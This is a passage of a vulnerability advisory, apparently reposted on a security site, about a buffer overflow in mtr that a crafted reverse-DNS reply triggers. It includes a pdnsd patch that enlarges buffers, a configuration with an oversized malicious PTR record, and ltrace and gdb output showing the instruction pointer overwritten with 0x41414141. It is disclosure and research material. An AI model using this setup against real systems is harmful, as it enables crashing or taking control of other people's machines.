adrbufsz=0; unsigned char *adrbuf=NULL; @@ -507,7 +507,7 @@ case CTL_NEG: { uint32_t ttl; uint16_t tp; - unsigned char name[256],buf[256]; + unsigned char name[2560],buf[2560]; DEBUG_MSG("Received NEG command.n"); if (read_domain(rs, charp buf, sizeof(buf))<=0) @@ -580,7 +580,7 @@ char *q; slist_t *sl; unsigned sz; - unsigned char rhn[256]; + unsigned char rhn[2560]; if(*p=='-') { tp=C_EXCLUDED; @@ -629,8 +629,8 @@ case CTL_DUMP: { int rv,exact=0; unsigned char *nm=NULL; - char buf[256]; - unsigned char rhn[256]; + char buf[2560]; + unsigned char rhn[2560]; DEBUG_MSG("Received DUMP command.n"); if (!(rv=read_domain(rs,buf,sizeof(buf)))) { print_serr(rs,"Bad domain name."); --- CUT --- and config file: --- CUT --- // Sample pdnsd configuration file. Must be customized to obtain a working pdnsd setup! // Read the pdnsd.conf(5) manpage for an explanation of the options. // Add or remove '#' in front of options you want to disable or enable, respectively. // Remove '/*' and '*/' to enable complete sections. global { perm_cache=1024; cache_dir="/var/cache/pdnsd"; # pid_file = /var/run/pdnsd.pid; run_as="nobody"; server_ip = 192.168.1.200; # Use eth0 here if you want to allow other # machines on your network to query pdnsd. status_ctl = on; # paranoid=on; # This option reduces the chance of cache poisoning # but may make pdnsd less efficient, unfortunately. query_method=udp_tcp; min_ttl=15m; # Retain cached entries at least 15 minutes. max_ttl=1w; # One week. timeout=10; # Global timeout option (10 seconds). } # The following section is most appropriate if you have a fixed connection to # the Internet and an ISP which provides good DNS servers. server { label= "myisp"; ip = 192.168.1.1; # Put your ISP's DNS-server address(es) here. # proxy_only=on; # Do not query any name servers beside your ISP's. # This may be necessary if you are behind some # kind of firewall and cannot receive replies # from outside name servers. timeout=4; # Server timeout; this may be much shorter # that the global timeout option. uptest=if; # Test if the network interface is active. interface=eth0; # The name of the interface to check. interval=10m; # Check every 10 minutes. purge_cache=off; # Keep stale cache entries in case the ISP's # DNS servers go offline. } /* # The following section is more appropriate for dial-up connections. # Read about how to use pdnsd-ctl for dynamic configuration in the documentation. server { label= "dialup"; file = "/etc/ppp/resolv.conf"; # Preferably do not use /etc/resolv.conf proxy_only=on; timeout=4; uptest=if; interface = ppp0; interval=10; # Check if the interface every 10 seconds. purge_cache=off; preset=off; } */ /* # The servers provided by OpenDNS are fast, but they do not reply with # NXDOMAIN for non-existant domains, instead they supply you with an # address of one of their search engines. They also lie about the addresses of # of the search engines of google, microsoft and yahoo. # If you do not like this behaviour the "reject" option may be useful. server { label = "opendns"; ip = 208.67.222.222, 208.67.220.220; reject = 208.69.32.0/24, # You may need to add additional address ranges 208.69.34.0/24, # here if the addresses of their search engines 208.67.219.0/24; # change. reject_policy = fail; # If you do not provide any alternative server # sections, like the following root-server # example, "negate" may be more appropriate here. timeout = 4; uptest = ping; # Test availability using ICMP echo requests. ping_timeout = 100; # ping test will time out after 10 seconds. interval = 15m; # Test every 15 minutes. preset = off; } */ /* # This section is meant for resolving from root servers. server { label = "root-servers"; root_server = on; randomize_servers = on; # Give every root server an equal chance # of being queried. ip = 198.41.0.4 , 192.228.79.201 , 192.33.4.12 , 128.8.10.90 , 192.203.230.10 , 192.5.5.241 , 192.112.36.4 , 128.63.2.53 , 192.36.148.17 , 192.58.128.30 , 193.0.14.129 , 198.32.64.12 , 202.12.27.33 ; timeout = 5; uptest = query; # Test availability using empty DNS queries. interval = 30m; # Test every half hour. ping_timeout = 300; # Test should time out after 30 seconds. purge_cache = off; exclude = .localdomain; policy = included; preset = off; } */ source { owner=localhost; # serve_aliases=on; file="/etc/hosts"; } rr { name=localhost; reverse=on; a=127.0.0.1; owner=localhost; soa=localhost,root.localhost,42,86400,900,86400,86400; } rr { name=AAAAAAAA.AAAAAAAAA.AAAAAAAA.AAAAAAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAA.AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.cos.pl; reverse=on; a=12.34.56.78; owner=localhost; soa=localhost,root.localhost,42,86400,900,86400,86400; } /* neg { name=doubleclick.net; types=domain; # This will also block xxx.doubleclick.net, etc. } */ /* neg { name=bad.server.com; # Badly behaved server you don't want to connect to. types=A,AAAA; } */ --- CUT --- Ok Let's look how it works: [1] => First screen [2] => Second terminal [1]: [root@lost-coder pdnsd-1.2.6]# ./src/pdnsd -c ./doc/pdnsd.conf [*] len = 4 [*] len = 4 * 03/15 01:56:04| pdnsd: info: pdnsd-1.2.6-par starting. [2]: [root@lost-coder mtr-0.72]# ltrace ./mtr -p 12.34.56.78 ... ... ... recvfrom(5, 0xbfffe970, 4470, 0, 0xbfffe8f0) = 64 recvfrom(7, 0x81db720, 512, 0, 0x81dbd60) = 285 __res_state(0x81dbd64, 0x81e4200, 2, 0, 0x81dbd60) = 0x40189cc0 __res_state(0x40189cd4, 0x81dbd64, 2, 0, 0x81dbd60) = 0x40189cc0 sprintf("78.56.34.12.in-addr.arpa", "%u.%u.%u.%u.in-addr.arpa", 78, 56, 34, 12) = 24 __dn_expand(0x81db720, 0x81db83d, 0x81db72c, 0x81e4220, 1025) = 26 strlen("78.56.34.12.in-addr.arpa") = 24 strcasecmp("78.56.34.12.in-addr.arpa", "78.56.34.12.in-addr.arpa") = 0 __dn_expand(0x81db720, 0x81db83d, 0x81db74a, 0x81e4220, 1025) = 2 strlen("78.56.34.12.in-addr.arpa") = 24 strcasecmp("78.56.34.12.in-addr.arpa", "78.56.34.12.in-addr.arpa") = 0 __dn_expand(0x81db720, 0x81db83d, 0x81db756, 0x81e4220, 1025) = 192 strlen("\[x4141414141414109].\[x41414141"...) = 300 malloc(305) = 0x8200740 strcpy(0x8200744, "\[x4141414141414109].\[x41414141"...) = 0x8200744 __dn_expand(0x81db720, 0x81db83d, 0x81db816, 0x81e4220, 1025) = 2 strlen("78.56.34.12.in-addr.arpa") = 24 strcasecmp("78.56.34.12.in-addr.arpa", "78.56.34.12.in-addr.arpa") = 0 __dn_expand(0x81db720, 0x81db83d, 0x81db82d, 0x81e4220, 1025) = 2 strlen("78.56.34.12.in-addr.arpa") = 24 strcasecmp("78.56.34.12.in-addr.arpa", "localhost") = -53 select(8, 0xbffffb70, 0, 0, 0xbffffb60) = 1 gettimeofday(0xbfffe8e8, NULL) = 0 recvfrom(5, 0xbfffe970, 4470, 0, 0xbfffe8f0) = 64 getpid() = 5905 select(8, 0xbffffb70, 0, 0, 0xbffffb60) = 0 sprintf("\[x4141414141414109].\[x41414141"..., "%s %d %d %d %d %d %d", "\[x4141414141414109].\[x41414141"..., 0, 1, 1, 50, 50, 50) = 315 strcmp("\[x4141414141414109].\[x41414141"..., "12.34.56.78 0 1 1 50 50 50") = 1 printf("%d %sn", 1, "\[x4141414141414109].\[x41414141"...1 [x4141414141414109].[x4141414141414108].[x4141414141410e41].[x414141 4141414141].[x4138414141414141].[x4141414141414141].[x414141414141414 1].[x4141414141414141].[x4141414141414141].[x4141414141414141].AAAAAA AAAAAAAAAAAAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA.cos.pl 0 1 1 50 50 50 ) = 318 fflush(0x40187860) = 0 strcpy(0x81f0660, "\[x4141414141414109].\[x41414141"...) = 0x81f0660 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ [root@lost-coder mtr-0.72]# gdb -q ./mtr core Using host libthread_db library "/lib/libthread_db.so.1". Reading symbols from /lib/libresolv.so.2...done. Loaded symbols for /lib/libresolv.so.2 Reading symbols from /lib/libm.so.6...done. Loaded symbols for /lib/libm.so.6 Reading symbols from /lib/libncurses.so.5...done. Loaded symbols for /lib/libncurses.so.5 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/libtinfo.so.5...done. Loaded symbols for /lib/libtinfo.so.5 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Core was generated by `./mtr -p 12.34.56.78'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () #1 0x41414141 in ?? () #2 0x6f632e41 in ?? () #3 0x6c702e73 in ?? () #4 0x31203020 in ?? () #5 0x35203120 in ?? () #6 0x30352030 in ?? () #7 0x00303520 in ?? () #8 0x40016508 in ?? () #9 0x08048b5b in ?? () #10 0xbffffc44 in ?? () #11 0xbffffb58 in ?? () #12 0x00000000 in ?? () (gdb) i r eax 0x81f0660 136250976 ecx 0x481f0c6f 1209994351 edx 0xbffffb2c -1073743060 ebx 0x41414141 1094795585 esp 0xbffffb10 0xbffffb10 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x41414141 0x41414141 eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) hehe... ale co by nie bylo i tak kocham Ewunie ;] Undefined command: "hehe". Try "help". (gdb) Ps. When I play at night with creating domain in specific form i be able to crash mtr without any options. I just run simple command like $mtr <ip>. Anyway i didn't write this config file and in future i can't do it again. When i read source for display with ncurses lib. i saw that i must overwrite buffer which is 1024 bytes lenght. So it is possible but i can't proof that in this time... or in night i was too sleepy and i saw what i want :) That's all. I test it on version 0.72 and 0.69. Probably all versions are vulnerability. Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny). Ps2. For program autors. You wrote in [!!]: /* May be we should test name's length */ the answer is: "Yes you should ;-)" -- pi3 (pi3ki31ny) - pi3 (at) itsec pl http://pi3.hack.pl http://pi3.phrack.pl http://pi3.shellcode.pl http://pi3.itsec.pl


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top